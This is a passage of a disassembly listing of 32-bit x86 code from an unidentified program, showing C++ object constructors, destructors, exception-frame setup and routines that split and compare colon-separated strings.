loc_413C10:				; CODE XREF: sub_413B70+95j
		xor	eax, eax


loc_413C12:				; CODE XREF: sub_413B70+9Ej
		push	offset asc_443C84 ; ":"
		lea	ecx, [esp+50h+var_20]
		push	esi
		push	ecx
		lea	ecx, [esp+58h+arg_4]
		mov	[esp+58h], bl
		mov	[esp+58h+arg_1C], eax
		call	sub_4016AE
		mov	ecx, [esp+4Ch+arg_1C]
		push	eax
		mov	byte ptr [esp+50h], 3
		call	sub_40200E
		lea	ecx, [esp+4Ch+var_20]
		mov	[esp+4Ch], bl
		call	sub_401226
		lea	edx, [esp+4Ch+arg_1C]
		mov	ecx, ebp
		push	edx
		call	sub_40147E
; ---------------------------------------------------------------------------
		inc	esi
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+54h+var_3C]
		push	esi
		push	eax
		lea	ecx, [esp+5Ch+arg_0]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+54h+var_4], 1
		call	sub_4012EE
		lea	ecx, [esp+50h+var_3C]
		mov	edi, eax
		mov	byte ptr [esp+50h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	loc_413BF0


loc_413C93:				; CODE XREF: sub_413B70+77j
		lea	ecx, [esp+50h+arg_0]
		mov	[esp+50h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_413CB9:				; CODE XREF: sub_413B70+26j
					; sub_413B70+37j
		lea	ecx, [esp+48h+arg_0]
		mov	[esp+48h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+48h+var_C]
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn	1Ch
sub_413B70	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413D40	proc near		; CODE XREF: sub_401F2Dj
		push	esi
		mov	esi, ecx
		call	sub_401424
		mov	eax, esi
		pop	esi
		retn
sub_413D40	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_413D60:				; CODE XREF: ___:004010F0j
		mov	eax, [esp+8]
		mov	edx, [esp+4]
		push	esi
		push	eax
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+28h], esp
		push	edx
		call	sub_401861
		mov	ecx, esi
		call	sub_401181
		pop	esi
		retn	8
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_413DA0	proc near		; CODE XREF: sub_40189Dj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_14		= byte ptr  18h
arg_18		= byte ptr  1Ch
arg_2C		= byte ptr  30h
arg_30		= byte ptr  34h
arg_44		= byte ptr  48h
arg_48		= byte ptr  4Ch
arg_5C		= byte ptr  60h
arg_60		= byte ptr  64h

		push	0FFFFFFFFh
		push	offset SEH_413DA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		sub	esp, 18h
		lea	eax, [esp+3Ch+arg_30]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	eax
		mov	[esp+40h+var_4], 4
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_401CD0
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	loc_413F8E
		sub	esp, 18h
		lea	edx, [esp+3Ch+arg_0]
		mov	ecx, esp
		mov	[esp+3Ch+var_14], esp
		push	edx
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_402112
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_413F8E
		push	edi
		lea	eax, [esp+28h+arg_18]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+40h+var_14], esp
		push	eax
		call	sub_4014C9
		mov	ecx, ebp
		call	sub_4011DB
		cmp	al, bl
		jz	loc_413F8E
		push	offset byte_446F60
		lea	ecx, [esp+28h+arg_48]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413E87
		lea	ecx, [edi+2Ah]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_48]
		mov	esi, eax
		call	sub_4017E4


loc_413E56:				; CODE XREF: sub_413DA0+D4j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413E7A
		cmp	cl, bl
		jz	short loc_413E76
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413E7A
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413E56


loc_413E76:				; CODE XREF: sub_413DA0+C0j
		xor	eax, eax
		jmp	short loc_413E7F
; ---------------------------------------------------------------------------


loc_413E7A:				; CODE XREF: sub_413DA0+BCj
					; sub_413DA0+CAj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413E7F:				; CODE XREF: sub_413DA0+D8j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413E87:				; CODE XREF: sub_413DA0+A1j
		push	offset byte_446F60
		lea	ecx, [esp+28h+arg_60]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_413EE3
		lea	ecx, [edi+3Fh]
		call	sub_4017E4
		lea	ecx, [esp+24h+arg_60]
		mov	esi, eax
		call	sub_4017E4


loc_413EB2:				; CODE XREF: sub_413DA0+130j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_413ED6
		cmp	cl, bl
		jz	short loc_413ED2
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_413ED6
		add	eax, 2
		add	esi, 2
		cmp	cl, bl
		jnz	short loc_413EB2


loc_413ED2:				; CODE XREF: sub_413DA0+11Cj
		xor	eax, eax
		jmp	short loc_413EDB
; ---------------------------------------------------------------------------


loc_413ED6:				; CODE XREF: sub_413DA0+118j
					; sub_413DA0+126j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_413EDB:				; CODE XREF: sub_413DA0+134j
		cmp	eax, ebx
		jnz	loc_413F8E


loc_413EE3:				; CODE XREF: sub_413DA0+FAj
		push	58h
		call	sub_4367FA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+24h+var_10], eax
		cmp	eax, ebx
		mov	byte ptr [esp+24h+var_4], 5
		jz	short loc_413F03
		mov	ecx, eax
		call	sub_401D07
		jmp	short loc_413F05
; ---------------------------------------------------------------------------


loc_413F03:				; CODE XREF: sub_413DA0+158j
		xor	eax, eax


loc_413F05:				; CODE XREF: sub_413DA0+161j
		mov	[esp+24h+var_14], eax
		mov	[eax], edi
		mov	ecx, [esp+24h+var_14]
		lea	eax, [esp+24h+arg_0]
		push	eax
		add	ecx, 4
		mov	byte ptr [esp+28h+var_4], 4
		call	sub_40200E
		mov	eax, [esp+24h+var_14]
		lea	edx, [esp+24h+arg_30]
		push	edx
		lea	ecx, [eax+19h]
		call	sub_40200E
		lea	ecx, [esp+24h+var_14]
		push	ecx
		lea	ecx, [ebp+6Ch]
		call	sub_401406
; ---------------------------------------------------------------------------
		lea	ecx, [esp+28h]
		mov	byte ptr [esp+28h+var_8], 3
		call	sub_401226
		lea	ecx, [esp+28h+arg_14]
		mov	byte ptr [esp+28h+var_8], 2
		call	sub_401226
		lea	ecx, [esp+28h+arg_2C]
		mov	byte ptr [esp+28h+var_8], 1
		call	sub_401226
		lea	ecx, [esp+28h+arg_44]
		mov	byte ptr [esp+28h+var_8], bl
		call	sub_401226
		lea	ecx, [esp+28h+arg_5C]
		mov	[esp+28h+var_8], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	short loc_413FDB
; ---------------------------------------------------------------------------


loc_413F8E:				; CODE XREF: sub_413DA0+44j
					; sub_413DA0+68j ...
		lea	ecx, [esp+24h+arg_0]
		mov	byte ptr [esp+24h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+24h+arg_18]
		mov	byte ptr [esp+24h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+24h+arg_30]
		mov	byte ptr [esp+24h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+24h+arg_48]
		mov	byte ptr [esp+24h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+24h+arg_60]
		mov	[esp+24h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al


loc_413FDB:				; CODE XREF: sub_413DA0+1ECj
		mov	ecx, [esp+24h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 14h
		retn	78h
sub_413DA0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414090	proc near		; CODE XREF: sub_401D07j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414090
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+4]
		call	sub_401424
		lea	ecx, [esi+19h]
		mov	[esp+14h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+43h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401424
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_414090	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414120:				; CODE XREF: ___:00401DC0j
		push	0FFFFFFFFh
		push	offset loc_439C10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+24h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+3Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+58h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+50h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+6Ch], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+64h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+80h], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	eax, [esp+78h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+94h], esp
		push	eax
		mov	byte ptr [esp+8Ch], 3
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+88h], 0FFFFFFFFh
		call	sub_40189D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	14h
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414210	proc near		; CODE XREF: sub_401537j
		add	ecx, 6Ch
		jmp	sub_401C62
sub_414210	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414230	proc near		; CODE XREF: sub_40137Fj

var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414230
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		push	60h
		mov	[esp+1Ch+var_4], 3
		call	sub_4367FA
sub_414230	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+8], eax
		test	eax, eax
		mov	byte ptr [esp+14h], 4
		jz	short loc_414273
		mov	ecx, eax
		call	sub_401BE0
; ---------------------------------------------------------------------------
		jmp	short loc_414275
; ---------------------------------------------------------------------------


loc_414273:				; CODE XREF: ___:00414268j
		xor	eax, eax


loc_414275:				; CODE XREF: ___:00414271j
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 3
		push	ecx
		mov	ecx, eax
		mov	[esp+8], eax
		call	sub_40200E
		mov	eax, [esp+4]
		lea	edx, [esp+34h]
		push	edx
		lea	ecx, [eax+15h]
		call	sub_40200E
		mov	edx, [esp+4]
		lea	ecx, [esp+4Ch]
		push	ecx
		lea	ecx, [edx+2Ah]
		call	sub_40200E
		mov	ecx, [esp+4]
		lea	eax, [esp+64h]
		push	eax
		add	ecx, 3Fh
		call	sub_40200E
		lea	edx, [esp+4]
		lea	ecx, [esi+60h]
		push	edx
		call	sub_401EF1
; ---------------------------------------------------------------------------
		lea	ecx, [esp+1Ch]
		mov	byte ptr [esp+14h], 2
		call	sub_401226
		lea	ecx, [esp+34h]
		mov	byte ptr [esp+14h], 1
		call	sub_401226
		lea	ecx, [esp+4Ch]
		mov	byte ptr [esp+14h], 0
		call	sub_401226
		lea	ecx, [esp+64h]
		mov	dword ptr [esp+14h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	60h
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_414360	proc near		; CODE XREF: sub_401BE0j

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_414360
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_401424
		lea	ecx, [esi+15h]
		mov	[esp+18h+var_4], 0
		call	sub_401424
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+18h+var_4], 1
		call	sub_401424
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+18h+var_4], 2
		call	sub_401424
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+54h]
		push	eax
		mov	byte ptr [esp+1Ch+var_4], 3
		call	sub_40132A
sub_414360	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414400:				; CODE XREF: ___:004010FAj
		push	0FFFFFFFFh
		push	offset loc_439CD8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+20h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+38h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+54h], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	eax, [esp+4Ch]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+68h], esp
		push	eax
		mov	byte ptr [esp+5Ch], 1
		call	sub_401861
		mov	edx, [esp+60h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+7Ch], esp
		push	edx
		mov	byte ptr [esp+74h], 2
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+70h], 0FFFFFFFFh
		call	sub_40137F
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	10h
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4144D0	proc near		; CODE XREF: sub_401DACj

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= dword	ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4144D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		lea	ecx, [esp+18h+var_14]
		mov	[esp+18h+var_4], 0
		mov	[esp+18h+var_10], 0
		call	sub_401E1F
		mov	eax, [esp+18h+arg_18]
		lea	ecx, [esp+18h+arg_18]
		push	ecx
		lea	esi, [eax+54h]
		mov	ecx, esi
		call	sub_4012E9
		mov	edx, [eax]
		lea	eax, [esp+18h+arg_18]
		push	eax
		mov	ecx, esi
		mov	[esp+1Ch+var_14], edx
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jz	short loc_414580


loc_414535:				; CODE XREF: sub_4144D0+AEj
		lea	ecx, [esp+18h+arg_0]
		push	ecx
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401FA5
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41455D
		lea	ecx, [esp+18h+var_14]
		call	sub_401FA5
		mov	edx, [eax]
		mov	[esp+18h+var_10], edx


loc_41455D:				; CODE XREF: sub_4144D0+7Cj
		lea	ecx, [esp+18h+var_14]
		call	sub_4020A4
		lea	eax, [esp+18h+arg_18]
		mov	ecx, esi
		push	eax
		call	sub_401D89
		push	eax
		lea	ecx, [esp+1Ch+var_14]
		call	sub_401D5C
		test	al, al
		jnz	short loc_414535


loc_414580:				; CODE XREF: sub_4144D0+63j
		mov	eax, [esp+18h+var_10]
		test	eax, eax
		jz	short loc_4145C8
		lea	ecx, [esp+18h+var_10]
		push	ecx
		mov	ecx, esi
		call	sub_401258
		mov	ecx, [esp+18h+var_10]
		test	ecx, ecx
		jz	short loc_4145A3
		push	1
		call	sub_4019DD


loc_4145A3:				; CODE XREF: sub_4144D0+CAj
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+14h+var_C]
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
; ---------------------------------------------------------------------------


loc_4145C8:				; CODE XREF: sub_4144D0+B6j
		lea	ecx, [esp+18h+arg_0]
		mov	[esp+18h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+18h+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn	1Ch
sub_4144D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_414640	proc near		; CODE XREF: sub_4019DDj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_402220
		test	[esp+4+arg_0], 1
		jz	short loc_414658
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_414658:				; CODE XREF: sub_414640+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_414640	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_414670	proc near		; CODE XREF: sub_402220j
		jmp	sub_401226
sub_414670	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414690:				; CODE XREF: ___:00401276j
		push	0FFFFFFFFh
		push	offset loc_439D20
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 20h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	ebp, ecx
		xor	ebx, ebx
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+1Ch]
		push	ebx
		push	eax
		lea	ecx, [esp+4Ch]
		mov	[esp+44h], ebx
		mov	byte ptr [esp+1Fh], 1
		xor	esi, esi
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jz	short loc_414759


loc_4146F3:				; CODE XREF: ___:00414757j
		mov	ecx, [esp+58h]
		push	ecx
		lea	ecx, [esp+44h]
		sub	esp, 18h
		mov	edx, esp
		mov	[esp+30h], esp
		push	offset asc_443C84 ; ":"
		push	esi
		push	edx
		call	sub_4016AE
		mov	ecx, ebp
		call	sub_401DAC
		cmp	al, bl
		jnz	short loc_414720
		mov	[esp+13h], bl


loc_414720:				; CODE XREF: ___:0041471Aj
		inc	esi
		push	offset asc_443C84 ; ":"
		lea	eax, [esp+1Ch]
		push	esi
		push	eax
		lea	ecx, [esp+4Ch]
		call	sub_4016AE
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+3Ch], 1
		call	sub_4012EE
		lea	ecx, [esp+18h]
		mov	edi, eax
		mov	[esp+38h], bl
		call	sub_401226
		cmp	edi, ebx
		jnz	short loc_4146F3


loc_414759:				; CODE XREF: ___:004146F1j
		lea	ecx, [esp+40h]
		mov	dword ptr [esp+38h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+30h]
		mov	al, [esp+13h]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2Ch
		retn	1Ch
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4147D0	proc near		; CODE XREF: sub_40210Dj

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= byte ptr  4
arg_18		= byte ptr  1Ch

		push	0FFFFFFFFh
		push	offset SEH_4147D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+1Ch+arg_0]
		mov	[esp+1Ch+var_4], 1
		call	sub_4017E4
		test	eax, eax
		jz	loc_414904
		lea	ecx, [esp+1Ch+var_18]
		mov	[esp+1Ch+var_14], 0
		call	sub_402252
		add	esi, 6Ch
		lea	eax, [esp+1Ch+var_10]
		push	eax
		mov	ecx, esi
		call	sub_4018F2
		mov	ecx, [eax]
		lea	edx, [esp+1Ch+var_10]
		mov	[esp+1Ch+var_18], ecx
		push	edx
		mov	ecx, esi
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jz	short loc_4148AE


loc_414844:				; CODE XREF: sub_4147D0+DCj
		lea	eax, [esp+1Ch+arg_0]
		lea	ecx, [esp+1Ch+var_18]
		push	eax
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 4
		call	sub_401B72
		test	eax, eax
		jz	short loc_41487C
		lea	ecx, [esp+1Ch+arg_18]
		push	ecx
		lea	ecx, [esp+20h+var_18]
		call	sub_40135C
		mov	ecx, [eax]
		add	ecx, 19h
		call	sub_401B72
		test	eax, eax
		jnz	short loc_41488B


loc_41487C:				; CODE XREF: sub_4147D0+8Ej
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40135C
		mov	edx, [eax]
		mov	[esp+1Ch+var_14], edx


loc_41488B:				; CODE XREF: sub_4147D0+AAj
		lea	ecx, [esp+1Ch+var_18]
		call	sub_40118B
		lea	eax, [esp+1Ch+var_10]
		mov	ecx, esi
		push	eax
		call	sub_40114A
		push	eax
		lea	ecx, [esp+20h+var_18]
		call	sub_401339
		test	al, al
		jnz	short loc_414844


loc_4148AE:				; CODE XREF: sub_4147D0+72j
		mov	eax, [esp+1Ch+var_14]
		test	eax, eax
		jz	short loc_414904
		lea	ecx, [esp+1Ch+var_14]
		push	ecx
		mov	ecx, esi
		call	sub_402130
		mov	ecx, [esp+1Ch+var_14]
		test	ecx, ecx
		jz	short loc_4148D1
		push	1
		call	sub_4016FE


loc_4148D1:				; CODE XREF: sub_4147D0+F8j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+18h+var_C]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
; ---------------------------------------------------------------------------


loc_414904:				; CODE XREF: sub_4147D0+2Ej
					; sub_4147D0+E4j
		lea	ecx, [esp+1Ch+arg_0]
		mov	byte ptr [esp+1Ch+var_4], 0
		call	sub_401226
		lea	ecx, [esp+1Ch+arg_18]
		mov	[esp+1Ch+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+1Ch+var_C]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 18h
		retn	30h
sub_4147D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149A0	proc near		; CODE XREF: sub_4016FEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A5A
		test	[esp+4+arg_0], 1
		jz	short loc_4149B8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4149B8:				; CODE XREF: sub_4149A0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4149A0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4149D0	proc near		; CODE XREF: sub_401A5Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4149D0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+43h]
		mov	[esp+14h+var_4], 2
		call	sub_401226
		lea	ecx, [esi+2Eh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4149D0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414A60:				; CODE XREF: ___:004013B1j
		push	0FFFFFFFFh
		push	offset loc_439D98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	eax, [esp+18h]
		push	esi
		mov	esi, ecx
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+1Ch], esp
		push	eax
		call	sub_401861
		mov	edx, [esp+30h]
		sub	esp, 18h
		mov	ecx, esp
		mov	[esp+4Ch], esp
		push	edx
		mov	dword ptr [esp+44h], 0
		call	sub_401861
		mov	ecx, esi
		mov	dword ptr [esp+40h], 0FFFFFFFFh
		call	sub_40210D
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn	8
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_414AF0:				; CODE XREF: ___:00401B31j
		push	0FFFFFFFFh
		push	offset loc_439DB8
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 0Ch
		push	esi
		mov	esi, ecx
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0
		call	sub_4017E4
		test	eax, eax
		jz	loc_414BF7
		lea	ecx, [esp+4]
		mov	dword ptr [esp+8], 0
		call	sub_401037
		add	esi, 60h
		lea	eax, [esp+0Ch]
		push	eax
		mov	ecx, esi
		call	sub_401983
		mov	ecx, [eax]
		lea	edx, [esp+0Ch]
		mov	[esp+4], ecx
		push	edx
		mov	ecx, esi
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jz	short loc_414BAF


loc_414B64:				; CODE XREF: ___:00414BADj
		lea	eax, [esp+20h]
		lea	ecx, [esp+4]
		push	eax
		call	sub_4011D1
		mov	ecx, [eax]
		call	sub_401B72
		test	eax, eax
		jnz	short loc_414B8C
		lea	ecx, [esp+4]
		call	sub_4011D1
		mov	ecx, [eax]
		mov	[esp+8], ecx


loc_414B8C:				; CODE XREF: ___:00414B7Bj
		lea	ecx, [esp+4]
		call	sub_4018B6
		lea	edx, [esp+0Ch]
		mov	ecx, esi
		push	edx
		call	sub_402234
		push	eax
		lea	ecx, [esp+8]
		call	sub_401AD7
		test	al, al
		jnz	short loc_414B64


loc_414BAF:				; CODE XREF: ___:00414B62j
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_414BF7
		lea	eax, [esp+8]
		mov	ecx, esi
		push	eax
		call	sub_401154
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_414BD2
		push	1
		call	sub_4011C7
; ---------------------------------------------------------------------------


loc_414BD2:				; CODE XREF: ___:00414BC9j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		pop	esi
		mov	ecx, [esp+0Ch]
		mov	large fs:0, ecx
		add	esp, 18h
		retn	18h
; ---------------------------------------------------------------------------


loc_414BF7:				; CODE XREF: ___:00414B1Ej
					; ___:00414BB5j
		lea	ecx, [esp+20h]
		mov	dword ptr [esp+18h], 0FFFFFFFFh
		call	sub_401226
